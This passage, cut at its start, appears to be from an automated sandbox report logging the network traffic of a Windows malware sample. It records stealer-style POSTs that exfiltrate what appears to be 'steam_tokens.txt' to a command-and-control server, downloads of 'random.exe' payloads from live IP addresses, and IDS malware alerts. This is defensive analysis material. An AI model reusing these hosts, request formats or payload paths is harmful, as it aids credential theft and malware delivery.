65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file"------BFBGHDGCFHIDBGDGIIIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="message"ybncbhylepme------GCBGCAFIIECBFIDHIJKF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDAAFBGDBKJJJKFIIIJJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49872 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:50015 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50099 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF8CC60 PR_Recv,

0_2_6CF8CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
